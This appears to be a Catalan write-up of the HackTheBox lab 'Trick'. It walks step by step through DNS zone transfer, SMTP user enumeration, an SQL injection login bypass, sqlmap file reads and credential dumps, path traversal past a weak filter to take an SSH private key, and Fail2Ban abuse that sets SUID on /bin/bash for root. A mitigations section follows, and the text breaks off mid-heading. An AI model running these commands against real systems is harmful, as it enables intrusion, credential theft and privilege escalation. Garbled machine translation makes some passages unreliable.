Trick

Llança Trick i segueix ambmés a HTB!

Introducció

avatar Trick ofereix un camp per practicar les tècniques de Web Recon, vulnerabilitats de Local File Inclusion per veure la configuració de l’entorn, i una interacció interessant amb Fail2Ban. La meva primera experiència amb Trick m’havia fet seguir alguns camins no convencionals i confusos que serien fàcils de fer amb les eines mostrades en aquesta entrada. El camí essencial és descobrir la informació de DNS, amb SQL Injection per passar l’autenticació, trobar vulnerabilitats de Local File Inclusion per veure fitxers de configuració i dades sensibles, i finalment utilitzant els permisos d’escriptura per forçar a Fail2Ban a executar comandes malicioses.

Fase de Recerca

Ei, $TARGET s’ha generat a 10.10.11.166. Estem entrant en blanc.

Primer podem escanviar el nostre $TARGET utilitzant NMap i recollir algunes informacions.

nmap -Pn $TARGET -p- -sCV -oA scan/scan --min-rate 1000

20251226112519 20251226112519 Trobarà informació útil que ens ajudarà a començar a trobar el nostre punt de penedra.

  1. Postfix està obert, un servei d’SMTP. També veiem que VRFY està disponible, així que podem intentar alguna enumeració d’usuaris mitjançant SMTP
  2. $TARGET també està executant un servei de DNS, però observa que mostra 53/tcp. Normalment el DNS és 53/udp en un host Linux, específicament amb el servei BIND, però 53/tcp implica que podem transferir una zona i obtenir informació addicional de DNS aquí.
  3. Nginx està funcionant i està servint una pàgina web a través de 80/tcp.

Tasques

  • Transferència de zona DNS
  • Enumerar usuaris mitjançant SMTP
  • Revisió del lloc web

Transferència de zona DNS

Abans d’executar una transferència de zona, necessitem saber el domini que volem transferir. Pots fer suposicions informades, però això és millor si consultem un escriptici invers amb dig.

dig -x $TARGET @$TARGET +noall +answer
# 166.11.10.10.in-addr.arpa. 604800 IN	PTR	trick.htb.

Tenc un domini, trick.htb. Inicia una transferència de zona amb dig.

dig axfr trick.htb @$TARGET +noall +answer

20251226114048 20251226114048 He trobat un Vhost Virtual per a trick.htb, anomenat preprod-payroll.trick.htb.

Afegim aquests a /etc/hosts per poder resoldre’n més tard.

echo "$TARGET trick.htb preprod-payroll.trick.htb" >> /etc/hosts

Això ens dona més llocs web per revisar.

Tasques

  • Transferència de zona DNS
  • Enumerar usuaris mitjançant SMTP
  • Revisar el lloc web trick.htb
  • Revisar el lloc web preprod-payroll.trick.htb

Enumeració d’usuaris via SMTP

Sabem de més enllant que VRFY és un comandament utilitzable al port SMTP obert. Per tant, podem enumerar usuaris utilitzant l’eina smtp-user-enum. Utilitzem grep per filtrar la sortida pel codi de resposta 252; en cas contrari, la nostra eina també generarà el codi de resposta 550, que són essencialment “usuari no trobat”.

smtp-user-enum -m VRFY -U /opt/lists/seclists/Usernames/top-usernames-shortlist.txt "$TARGET" 25 | grep 252
# [----] root          252 2.0.0 root
# [----] mysql         252 2.0.0 mysql

Aquí podem suposar que hi ha un servei MySQL en execució però no està exposat externament.

Pots continuar amb una més gran sèrie d’usuaris, però aquesta no és necessària en aquest moment. Si ens atascem, podem tornar a això.

Tasques

  • Transferència de zona DNS
  • Enumerar usuaris via SMTP
  • Revisar el lloc web trick.htb
  • Revisar el lloc web preprod-payroll.trick.htb
  • Enumerar més usuaris SMTP

Revisió del lloc web trick.htb

Abans d’iniciar la investigació de llocs web, lanza el teu proxy web preferit, el meu sentit és Caido.

Així que en la primera visita a http://trick.htb ens salutem amb una pàgina web “En construcció” amb un formulari web que notoriament no fa res. 20251226141538 20251226141538 20251226141613 20251226141613 El botó està deshabilitat i això sembla requerir un API_TOKEN, així que podem inferir que aquesta pàgina web està en desenvolupament.

Pots continuar, si et quedes atascat pots tornar i esforçar-te més en això.

Tasques

  • Transferència de zona DNS
  • Enumerar usuaris via SMTP
  • Revisar el lloc web trick.htb
  • Revisar el lloc web preprod-payroll.trick.htb
  • Enumerar més usuaris de SMTP

Revisió del lloc web preprod-payroll.trick.htb

Següent lloc web! Anem a veure http://preprod-payroll.trick.htb. Veiem un portal d’inici de sessió i primer intentem algunes credencials fàcils com admin:admin. 20251226141944 20251226141944 No hi ha autenticació fàcil amb aquestes credencials senzilles.

Així que desempaquetem això un poc. La pàgina web és clarament PHP perquè encara està sentida per Nginx, i el fet de dir /login.php en la URL. 20251226142156 20251226142156 Hi ha uns pocs mètodes per a passar-hi. Un manera és fàcil com vaig aprendre després, i llavors hi ha el mètode menys obvi. Crec que inicialment vaig trobar el mètode menys obvi. Salta endavant si vols veure el mètode intencionat.

  1. Mirant les meves peticions interceptades/resposta de Caido, vaig notar dues coses particularment interessants.

Petició

POST /ajax.php?action=login HTTP/1.1
Host: preprod-payroll.trick.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
<SNIP>
Referer: http://preprod-payroll.trick.htb/login.php
Cookie: PHPSESSID=cetl107u4mbubuff3lume65ep7
Priority: u=0

username=admin&password=admin

Resposta

HTTP/1.1 200 OK
Server: nginx/1.14.2
<SNIP>
Content-Length: 1

3

Dos línies particularment interessants per a mi van ser la meva petició POST i les dades de la nostra resposta.

Em diu que estem utilitzant AJAX per a algunes lògiques del lloc web, i la resposta és peculiar perquè què vol dir 3 aquí?

Tornem a mirar en la pàgina /login.php i trobem AJAX al final de la pàgina.

$('#login-form').submit(function(e) {
        e.preventDefault()
        $('#login-form button[type="button"]').attr('disabled', true).html('Logging in...');
        if ($(this).find('.alert-danger').length > 0)
            $(this).find('.alert-danger').remove();
        $.ajax({
            url: 'ajax.php?action=login',
            method: 'POST',
            data: $(this).serialize(),
            error: err => {
                console.log(err)
                $('#login-form button[type="button"]').removeAttr('disabled').html('Login');

            },
            success: function(resp) {
                if (resp == 1) {
                    location.href = 'index.php?page=home';
                } else if (resp == 2) {
                    location.href = 'voting.php';
                } else {
                    $('#login-form').prepend('<div class="alert alert-danger">Username or password is incorrect.</div>')
                    $('#login-form button[type="button"]').removeAttr('disabled').html('Login');
                }
            }
        })
    })

Passant per la lògica, enviem les nostres credencials a una petició POST a ajax.php?action=login i la resposta determina el nostre redirèct. Tenim tres codis de resposta possibles.

  • 1 anem a index.php?page=home, que em diu com està dissenyat el lloc web més allà d’aquest portal d’inici de sessió degut al paràmetre page, i també és on vull estar.
  • 2 anem a voting.php, interessant i podem notar-ho.
  • qualsevol altre cosa rebrà Username or password is incorrect, on estem ara.

I si simplement interceptem la resposta i possem el nostre codi de resposta desitjat, en el nostre cas, 1?

Així que intento tornar a iniciar sessió amb admin:admin però intercepto la resposta. 20251226143727 20251226143727 Només ho modificaré a 1 i llavors podem Forward aquesta resposta. 20251226143912 20251226143912 Envia una altre resposta peculiar.

Resposta

HTTP/1.1 302 Found
Server: nginx/1.14.2
<SNIP>
location: login.php
Content-Length: 9550

<!DOCTYPE html>
<html lang="en">
<SNIP>

Em pregunta amablement que redirecti a login.php. No obstant això, si miras el cos restant de la resposta– 20251226144248 20251226144248 Sembla que encara ens han proporcionat la pàgina /index.php?page=home! No siento realment redirigir-me d’aquesta pàgina, així que - modifiquem els capçalers de resposta a 200 OK i eliminem l’encapçalador location.

Resposta modificada

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 26 Dec 2025 21:39:56 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 9550

20251226144716 20251226144716 Així que amb la lògica d’accés controlada del costat de l’usuari, i sense altres comprovacions addicionals d’autenticació / autorització. Hem pogut accedir correctament al Sistema de Gestió de Recrutament, passant per damunt el portal d’inici de sessió.

Més tard vaig aprendre que hi havia un mètode molt més fàcil i és una tècnica que hauria d’haver intentat immediatament.

  1. Tornem a la nostra pàgina inicial /login.php. Després de provar credencials febles - considera una simple tècnica d’Injecció SQL. Per al nom d’usuari, afegix ' or '1'=1-- - a qualsevol nom d’usuari que triïs, llavors escriu qualsevol contrasenya. 20251226165239 20251226165239 En l’execució, avaluarà la declaració sql com a true i autenticant-te com el primer usuari retornat del resultat. 20251226165638 20251226165638 Fàcil com això - ara estem connectats com a Administrator per al plataforma Sistema de Gestió de Recrutament.

Ara que tenim accés, podem passar el temps recorrent tots els formularis i pàgines disponibles per a nosaltres.

Després d’explorar la plataforma, no hi ha res més en termes d’escalada des d’aquest punt. Així que podem començar atacant l’aplicació en si mateixa. Hi ha moltes vulnerabilitats existents en aquesta aplicació - però estem en una misió per a possedar-nos el servidor en si.

Sabem que (probablement) està comunicant-se amb una instància de MySQL des del que vaig descobrir quan enumere usuaris mitjançant SMTP. Així que podem provar tècniques d’Injecció SQL. Hi ha un nombre de pàgines objectiu per a triar, però vaig esforçar-me més en profunditat i vaig notar algunes pàgines php interessants. 20251226170822 20251226170822

Visitant directament http://preprod-payroll.trick.htb/view_employee.php?id=0, veuràs una interfície visualment desagradable. 20251226170954 20251226170954 D’acord amb això, en comptes de treballar en pàgines anteriors amb el paràmetre page, aquí puc treballar en una pàgina menys complicada que té un paràmetre id.

Com que això és simplement un paràmetre GET, podem passar-lo per sqlmap i veure si podem obtenir qualsevol vector d’Injecció SQL.

sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=0"

Sortant afortunatament, rebrim vulnerabilitats basades en boolean, temps basat en cegues i UNION query des del paràmetre id.

Sembla que tenim alguna enumeració que fer ara que tenim un mètode prometent per a trobar el nostre camí dins.

Tasques

  • Transferència de zona DNS
  • Enumerar usuaris via SMTP
  • Revisar el lloc web trick.htb
  • Revisar el lloc web preprod-payroll.trick.htb
  • Enumeració per injecció SQL
  • Enumerar més usuaris SMTP

Bandera d’Usuari

Amb el nostre nou mètode de Injecció SQL trobat - podem descartar la tasca futura d’enumeració de SMTP.

Tasques

  • Enumeració d’inyecció SQL

Injecció SQL d’Enumeració

No sabem gaire de la nostra situació actual, així que comencem amb l’enumeració d’usuaris, contrasenyes, privilegis, bases de dades i taules per a bases de dades no estàndards. Utilitzant sqlmap una més cop com a eina de tria.

sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=0" --current-user --users --dbs --privileges --passwords

20251226172259 20251226172259 20251226172329 20251226172329 20251226172720 20251226172720 Ara ordenem aquesta informació. El que hem trobat:

  • Som l’usuari de base de dades remo, que és un usuari local de mysql
  • No hi ha altres usuaris de base de dades que remo pugui veure
  • El Sistema de Gestió de Bases de Dades és Database Management Systems
  • Veiem una payroll_db que probablement serveixi l’aplicació del Sistema de Gestió de Recrutament
  • remo té privilegis de FILE
  • L’usuari remo probablement està bloquejat d’visualitzar els xifrats de contrasenya per als usuaris de base de dades

Amb això podem continuar amb l’enumeració utilitzant sqlmap per respondre a algunes preguntes més.

  1. Degut al nostre privilegi FILE, quin valor està configurat com a secure_file_priv?
  2. Quines taules i dades podem extreure de la payroll_db?

Primer responem a la pregunta de secure_file_priv.

sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=9" --sql-query="SELECT variable_name, variable_value FROM INFORMATION_SCHEMA.global_variables WHERE variable_name LIKE 'secure_file_priv';"
# [INFO] recuperant la sortida de la consulta SQL SELECT: <SNIP> SELECT variable_name, variable_value FROM INFORMATION_SCHEMA.global_variables WHERE variable_name LIKE 'secure_file_priv': 'SECURE_FILE_PRIV,'

Així que aquí veiem que secure_file_priv està configurat com a <blank>, que és una malconfiguració.

Quan un usuari té privilegis de FILE i el valor de secure_file_priv és <blank>, l’usuari té tots els privilegis de lectura/escriptura a qualsevol directori/fitxer al qual l’usuari mysql té permisos de lectura/escriptura en el servidor.

A continuació, busquem què podem extreure de payroll_db.

sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=9" -D payroll_db --tables 

20251226180849 20251226180849 Tot i que sqlmap ha afegit una cadena aleatòria als camps, podem veure que la única taula d’interès és users, així que es profunditzem més.

sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=9" -D payroll_db -T users --columns

20251226181020 20251226181020 Extreiem aquesta taula - potser trobem un conjunt de credencials.

sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=9" -D payroll_db -T users -C id,doctor_id,name,username,password --dump

20251226181222 20251226181222 Així que hem trobat un conjunt de credencials Enemigosss:SuperGucciRainbowCake. Pots anotar això.

sqlmap és una eina potent, en aquest cas ens va permetre

  • Accés com a usuari de base de dades remo
  • Confirmació de lectura/escriptura de fitxers via SQL Injection
  • Un conjunt de credencials Enemigosss:SuperGucciRainbowCake

Més important, podem començar a enumerar el propi host per trobar la manera d’entrar com a usuari. També podem utilitzar el nostre nou conjunt de credencials per veure quins accés ens han proporcionat.

Tasques

  • Enumeració d’inyecció SQL
  • Enumerar fitxers de configuració del servidor
  • Provar les credencials trobades

Enumera els fitxers de configuració del servidor

Mètode estàndard per provar les nostres capacitats de lectura de fitxers, podem intentar llegir /etc/passwd per obtenir informació sobre el servidor utilitzant sqlmap.

sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=9" --file-read /etc/passwd  
# grep 'sh$'
# root:x:0:0:root:/root:/bin/bash
# michael:x:1001:1001::/home/michael:/bin/bash

Pots confirmem que michael existeix com a usuari local, el qual va ser enumerat prèviament.

Els passos següents poden ser revisar el codi font del lloc web per veure si podem obtenir algun mètode d’execució de comandes, però encara no sabem on està la raíz web, o si és una raíz web predeterminada, així que els nostres següents objectius són revisar els fitxers de configuració del Nginx que per defecte són /etc/nginx/nginx.conf i /etc/nginx/sites-enabled/default .

sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=9" --file-read /etc/nginx/nginx.conf
sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=9" --file-read /etc/nginx/sites-enabled/default

Revisant els nostres fitxers de configuració extrets; podem arribar a algunes conclusions.

/etc/nginx/nginx.conf ( Comentaris Eliminats )

user www-data;        # NGINX s'està executant com a www-data
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
        worker_connections 768;
}

http {
        sendfile on;
        tcp_nopush on;
        tcp_nodelay on;
        keepalive_timeout 65;
        types_hash_max_size 2048;

        include /etc/nginx/mime.types;
        default_type application/octet-stream;

        ssl_prefer_server_ciphers on;

        access_log /var/log/nginx/access.log;  # Les nostres ubicacions de fitxers de registre, poden ser rellevants més endavant
        error_log /var/log/nginx/error.log;
        
        gzip on;

        include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/*; # Fitxers de configuració VHost
}

Desafortunadament, aquest fitxer de configuració només està utilitzant un comodí per al directori sites-enabled, així que el millor que podem esperar és que s’utilitzi el fitxer nginx/default. Revisem-ho.

/etc/nginx/sites-enabled/default (Comentaris Eliminats, separat en tres seccions)

server {
        listen 80 default_server;
        listen [::]:80 default_server;
        server_name trick.htb;
        root /var/www/html;

        index index.html index.htm index.nginx-debian.html;

        server_name _;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm.sock;
        }
}

Primer bloc server, veiem la pàgina base de #Review Website trick.htb sense res particularment interessant. Això utilitza la raíz web comuna /var/www/html.

Següent.

server {
        listen 80;
        listen [::]:80;

        server_name preprod-marketing.trick.htb;

        root /var/www/market;
        index index.php;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
        }
}

Segon bloc server, això és interessant. Aquesta és la nostra primera instància de veure preprod-marketing com a Virtual Host. La raíz web és /var/www/market així que podem revisar-ho següent. També, diferència notable del bloc server anterior (i les configuracions en general), el fastcgi_pass està configurat per utilitzar un socket de domini UNIX que probablement és propietari del usuari local michael.

server {
        listen 80;
        listen [::]:80;

        server_name preprod-payroll.trick.htb;

        root /var/www/payroll;
        index index.php;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm.sock;
        }
}

Últim bloc server; veiem el nostre últim lloc web preprod-payroll. La raíz web és /var/www/payroll si la necessitem més endavant.

Descobrir aquestes configuracions ens porta a explorar preprod-marketing, i si hi ha algunes vulnerabilitats en aquesta pàgina que utilitzen el servidor fastcgi configurat, ho tindrem (probablement) en context de michael.

Tasques

  • Enumeració d’inyecció SQL
  • Enumerar fitxers de configuració del servidor
  • Revisar VHost preprod-marketing
  • Provar les credencials trobades

Revisió VHost preprod-marketing

Primer afegim preprod-marketing.trick.htb a /etc/hosts.

sed '$s/$/ preprod-marketing.trick.htb/' /etc/hosts -i

Visitem el lloc web http://preprod-marketing.trick.htb/. 20251228113725 20251228113725

Fent clic, el lloc no té res particularment interessant més que el fet de que utilitza un patró de disseny de controlador de pàgines PHP per mostrar contingut, i una pàgina ‘Contacta’ a page=contact.html.

Si enviem una petició POST via ‘Informació de contacte’ a page=contact.html, no trobem cap punt final o informació interessant.

Pots provar el nostre accés al /var/www/market webroot i revisar el codi font de index.php utilitzant el nostre accés de lectura de fitxers des de preprod-payroll.trick.htb.

sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=9" --file-read /var/www/market/index.php

/var/www/market/index.php

<?php
$file = $_GET['page'];

if(!isset($file) || ($file=="index.php")) {
   include("/var/www/market/home.html");
}
else{
        include("/var/www/market/".str_replace("../","",$file));
}
?>

Aquí veiem un filtre de substitució de subcadena molt bàsic. No recursiu, així que un argument $file que conté ....// es resoldrà com a ../, el que hauria de permeternos navegar pel directori i renderitzar un fitxer.

Provar amb /etc/passwd.

curl "http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd" 
root:x:0:0:root:/root:/bin/bash
<SNIP>
michael:x:1001:1001::/home/michael:/bin/bash

Per tant, hem descobert una Inclusió de fitxer local a preprod-marketing.trick.htb. Hi ha diverses direccions que podem seguir des d’aquí:

  1. Utilitza una tècnica de Poisoning del registre, modificant el nostre User Agent amb un payload de User Agent PHP, i utilitzant la Inclusió de fitxer local per renderitzar el /var/log/nginx/access.log a la pàgina. Utilitza el User Agent per establir una sessió de User Agent.
Aquesta és una intent d’exploit en un sol tret, degut al fet que el teu primer intent sempre es renderitzarà primer quan visualitzis el fitxer access.log.
  1. Utilitza una tècnica de Poisoning del correu, enviem correu electrònic a la compte d’usuari local michael amb el nostre payload de Web Shell PHP. Pots utilitzar swaks per enviar correu, o fer un telnet al port 25/tcp i enviar correu manualment via comandes RCPT TO. Utilitzant la nostra tècnica d’Inclusió de fitxer local, renderitzem /var/mail/michael per utilitzar el nostre Web Shell per establir una sessió de Web Shell.

  2. Comprova si podem trobar credencials usables en llocs comuns.

Trobo que el mètode 3 és el més fàcil de comprovar, però tenim altres opcions per adquirir el nostre punt d’entrada.

Primer comprovem si michael té claus privades SSH disponibles, el nom predeterminat és sovint id_rsa.

curl "http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//home/michael/.ssh/id_rsa"
# -----INÍCIO DE CLAU PRIVADA OPENSSH-----
# b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAA# Adzc2gtcn
# <SNIP>
# IJhaN0R5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
# -----FI DE CLAU PRIVADA OPENSSH-----

Segurament hem trobat una clau privada. Roba-la com michael_trick_id_rsa.

curl "http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//home/michael/.ssh/id_rsa" > loot/michael_trick_id_rsa

Abans d’intentar iniciar la sessió, comprova authorized_keys per assegurar-te que aquesta clau es pugui utilitzar en l’ordinador $TARGET.

url "http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//home/michael/.ssh/authorized_keys"
# ssh-rsa AAAAB3NzaC<SNIP>L63hryx michael@trick

michael@trick és vàlid per a michael@trick.htb. Ara inicia sessió com a michael i obte la bandera d’usuari.

chmod 600 loot/michael_trick_id_rsa
ssh -i loot/michael_trick_id_rsa michael@trick.htb 

20251228122847 20251228122847 Obtenint aquesta bandera.

cat ~/user.txt

8bc0b060

En avant, podem treballar en trobar la **bandera root**, però tenim nou terreny a cobrir. Ara que tenim accés a la màquina com a `michael`, necessitem enumerar quines permissons i accés tenim, i fer servir el que podem per escalar fins a `root`. També podem deixar caure la tasca 'Test Found Credentials' degut a bé, tenim accés. Si veu clar provar de reutilitzar contrasenyes en altres llocs, podem referir-nos a les credencials que hem trobat.

Tasques

  • Enumeració d’inyecció SQL
  • Enumerar fitxers de configuració del servidor
  • Revisar VHostpreprod-marketing
  • Enumerar permisos per a michael
  • Provar credencials trobades

Bandera de Raíz

Avís del nostre comandament anterior id, som part del grup seguretat. Pots explorar tant els permisos de michael com els de seguretat per a l’accés del nostre usuari local.

Tasques

  • Enumera els permisos per a michael
  • Enumera els permisos per a security

Enumera els permisos per a michael

El primer pas per a mi és comprovar si aquest compte d’usuari pot executar qualsevol ordre com a root.

sudo -l

20251228123707 20251228123707 Oh interessant, michael pot reiniciar Fail2Ban com a root. Pots afegir l’exploració de la configuració de Fail2Ban a les nostres tasques.

L’enumeració addicional per a permisos de lectura/escriptura, configuracions d’entorn, etc. no genera suficient interès com a mencionar en aquesta redacció. Pots avançar des d’aquí.

Tasques

  • Enumera els permisos per a michael
  • Enumera els permisos per a security
  • Revisa la configuració de Fail2Ban

Enumera els permisos per a seguretat

seguretat és un grup de linux no estàndard, i el nostre usuari michael en fa part. Per tant, si cerquem fitxers o directoris propietaris de seguretat, podem trobar coses interessants.

find / -group seguretat -ls 2>/dev/null
# 269281      4 drwxrwx---   2 root     security     4096 Dec 28 20:48 /etc/fail2ban/action.d

Segurament, trobem un altre enllaç per a l’usuari local michael que necessita permisos de Fail2Ban. El grup security té accés d’escriptura al directori /etc/fail2ban/action.d. Podríem tenir el nostre vector d’escalada de privilegis aquí per a aconseguir root. Afegint una tasca addicional per configurar Fail2Ban com a un vector d’escalada de privilegis de Linux.

### Tasques
- [x] Enumera els permisos per a `michael`
- [x] Enumera els permisos per a `security`
- [ ] Revisa la configuració de Fail2Ban
- [ ] Ascendeix amb Fail2Ban
## Revisió de la configuració de Fail2Ban
Aquesta és una breu lecció sobre com treballar amb **Fail2Ban**. Revisarem els fitxers de configuració en aquest pas.

Els fitxers de configuració per defecte es troben a `/etc/fail2ban`.
`jail.conf` és el fitxer de configuració principal de **Fail2Ban**, on definirà les ** gàlers** de Fail2Ban. Una ** gàlera** és un filtre configurat per servei. Cada gàlera tindrà accions configurades que es defineixen en el directori `action.d/`. Una acció té un desencadenador definit a `jail.conf`.

**Fail2Ban** s'executarà generalment com a `root` perquè necessita monitoritzar registres i modificar regles del parell de xarxa.

Els sobreescriptors d'usuaris haurien d'utilitzar la convenció de nom `.local` pels fitxers de configuració.

Això hauria de sumar suficient per a lo que necessitem saber. Pots revisar `jail.conf` i el nostre directori `action.d/` per crear el nostre mètode d'escalada.

El camí més fàcil és consultar com **Fail2Ban** gestiona els intents de connexió fallits a **SSH**, i sobreescriure aquesta acció amb la nostra pròpia acció.

Revisant `/etc/fail2ban/jail.conf`, cercant quins serveis estan habilitats per a que **Fail2Ban** les monitoregui.
```bash
egrep -R -v "^#" /etc/fail2ban/jail* | grep  enabled
# /etc/fail2ban/jail.conf:enabled = false
# /etc/fail2ban/jail.d/defaults-debian.conf:enabled = true

Sembla que només un servei està habilitat per a la supervisió.

cat /etc/fail2ban/jail.d/defaults-debian.conf
# [sshd]
# enabled = true

Afortunadament, el SSH està habilitat per a la supervisió, així que podem continuar amb el nostre pla. La pregunta següent és: com està configurat per a supervisar el SSH?

egrep -R -v "^#" /etc/fail2ban/jail* | grep -A 6 "\[sshd\]"

20251228143659 20251228143659 Dos factors importants a tenir en compte aquí.

bantime és de 10 segons, és suficientment perdóneble on si fem un error podem tornar-ho a provar, però ho dissuadeix d’qualsevol força bruta (que no estem fent).

A més, utilitzarà els valors per defecte per maxretry i banaction, així que podem comprovar aquestes configuracions.

egrep -R -v "^#|^$" /etc/fail2ban/jail* | grep -A 25 -i "\[default\]"

20251228144442 20251228144442 Aquí va. Això descriu el comportament un poc millor. Vam a resumir-lo tot.

El Fail2Ban monitoritzarà i desencadenarà en intents de connexió fallits al SSH. Després de 5 intents fallits, invocarà l’actionban del fitxer /etc/fail2ban/actions.d/iptables-multiport.* i encarcelarà la destinació per 10 segons.

Per tant, si sobrescriuem iptables-multiport.conf amb el nostre propi comandament actionban, podem fer que el Fail2Ban funcioni en el context de root.

Revisant els fitxers d’acció iptables-multiport.

ls -al /etc/fail2ban/action.d/iptables-multiport.*
# -rw-r--r-- 1 root root 1420 Dec 28 22:48 /etc/fail2ban/action.d/iptables-multiport.conf

Sembla que root és el propietari del fitxer .conf original, però .local no existeix, això és com podem sobreescriure una acció .conf.

Passant avui, podem executar la nostra atacada i tenir Fail2Ban establir un bit SUID a /bin/bash perquè el puguem utilitzar.

### Tasques
- [x] Enumera els permisos per a `michael`
- [x] Enumera els permisos per a `security`
- [x] Revisa la configuració de Fail2Ban
- [ ] Ascendeix amb Fail2Ban
## Escalada amb Fail2Ban
Per tant, sabem la configuració. Pots copiar `iptables-multiport.conf` a `iptables-multiport.local`, i després editar el `actionban` per fer-lo `chmod +s /bin/bash`.

Copia el fitxer; llavors reemplaça `actionban` amb el nostre propi comandament.
```bash
cp /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.local; sed -i 's|actionban.*|actionban = chmod +s /bin/bash|' /etc/fail2ban/action.d/iptables-multiport.local

Reinicia el servei Fail2Ban amb sudo, això farà que les nostres noves configuracions entrem en vigor.

sudo /etc/init.d/fail2ban restart
# [ ok ] Reiniciant fail2ban (via systemctl): fail2ban.service.

Aleshores força una actionban de Fail2Ban utilitzant thc-hydra amb un intent d’intrusió contra root@trick.htb.

seq 0 10 > ./numbers.list; hydra -l root -P ./numbers.list ssh://trick.htb

Com que hem sobrescrit l’actionban que realment bloquejaria la nostre IP, no serem desconectats/pausats en la nostra sessió SSH. Continua comprovant /bin/bash fins que veus que apareixi el bit SUID. 20251228150735 20251228150735

Una vegada establert el SUID, executa /bin/bash -p per entrar en un shell amb l’UID efectiu de root

/bin/bash -p
id
# uid=1001(michael) gid=1001(michael) euid=0(root) egid=0(root) grups=0(root),1001(michael),1002(security)

Benvingut a la nostra shell de root. Captura la bandera per completar el laboratori.

cat /root/root.txt
# 06e6<REDACTED>015d

Tasques

  • Enumera els permisos per a michael
  • Enumera els permisos per a security
  • Revisa la configuració de Fail2Ban
  • Escalona amb Fail2Ban

Conclusió/Mitigacions

Trick va proporcionar espai per practicar mètodes de proves web fundamentals, específicament per a la pràctica d’injecció SQL i incisió de fitxers locals, de manera que puguis trobar les teves debilitats i forteses. Em va quedar aturat en un bucle entre preprod-payroll i preprod-marketing, el qual hauria estat evitat si hagués tingut una millor comprensió de les meves eines i saps quan deixar anar idees. Un coneixement més fort de la infraestructura web backend ajudaria amb això. La millor part de Trick va ser aprendre Fail2Ban i entendre com tens just prous permisos per fer-ho en el teu favor. Això em va portar a aprendre més sobre Fail2Ban i com està configurat.

Cobriré algunes mitigacions que podem recomanar des del nostre camí d’atac. Evitaré una llista completa perquè he après que el “Sistema de Gestió de Recrutament” és real i plens de CVEs.

Exposició del Fitxer de Zona DNS

El servidor DNS estava configurat per permetre transferències de zona des de la nostra $CAT_HOST. Això proporciona a un adversari informació innecessària en relació amb l’infraestructura interna de la $TARGET. Utilitzem aquesta informació per trobar altres llocs d’Amfitrió Virtual hosts pels quals $TARGET.

Configurar l’atribut allow-transfer del fitxer de zona a amfitrions específics que estan autoritzats a rebre una transferència de zona mitigarà aquest problema.

Injecció SQL - Saltar Autenticació

El portal de login de la pàgina web a preprod-payroll.trick.htb/login.php tenia una validació insuficient de l’entrada d’usuari, permetent així un atac d’Injecció SQL per saltar el mètode d’autenticació donat.

Hi ha diversos patrons de disseny i biblioteques que ajuden a reforçar un portal de login contra l’Injecció SQL. La funció de login necessita lograr una sanitització adequada de l’entrada d’usuari i una validació de l’entrada d’usuari, i assegurar-se que el MySQL $USER que consulta la base de dades d’aquesta manera estigui restringit als permisos mínims necessaris per a realitzar el seu propòsit.

A més, els patrons de disseny per implementar consultes parametritzades poden ajudar a mitigar l’Injecció SQL.

També puc afegir el mètode alternatiu per saltar l’autenticació, que consistia en eliminar el control del costat client de la lògica de visualització de la pàgina web que es feia mitjançant AJAX, i implementar aquestes mètodes de validació al costat servidor.

Injecció SQL - Exposició de Dades

L’exposició de dades va ser identificada degut a que els permisos MySQL $USER permeten privilegis de lectura de fitxers mitjançant el privilegi FILE, i secure_file_priv està mal configurat com <blank>. Aquesta vulnerabilitat permet al adversari accedir a permisos de lectura en fitxers de configuració sensibles.

A més dels recomanaments de validació i neteja d’entrada segons #Injecció SQL - Passarel·lament d’Autenticació, assegurar-se de que el MySQL $USER estigui configurat per utilitzar només els privilegis necessaris quan ho sigui possible mitjançant consultes SQL mitigarà l’exposició de fitxers localhost.

Eliminar els permisos remo FILE, si es permet, evitarà que una consulta vulnerable a Injecció SQL llegi a fitxers locals.

Configurar secure_file_priv a un directori que sigui necessari perquè remo pugui continuar funcionant amb el seu propòsit. Si no és necessari, establir el valor a NULL per desactivar les operacions d’importació/exportació de dades.

Inclusió Local de Fitxers PHP

Inclusió Local de Fitxers va ser identificada a preprod-marketing.trick.htb/index.php, permetent que l’adversari renderitzés fitxers locals en la pàgina web associada. Això va permetre tècniques addicionals que van permetre a l’adversari obtenir un shell remot en el $TARGET.

Aquesta vulnerabilitat es pot mitigar amb una sanitizació i validacions d’entrada addicionals. Es va identificar una substitució de cadena no recursiva per a la traversal de camins relatius. Utilitzant eines integrades del framework PHP per identificar el nom del fitxer sol·licitat, i controlant el directori arrel web des d’on requereix el Virtual Host, es mitigaria aquesta vulnerabilitat.

Permisos Insegurs - Configuració de Nginx

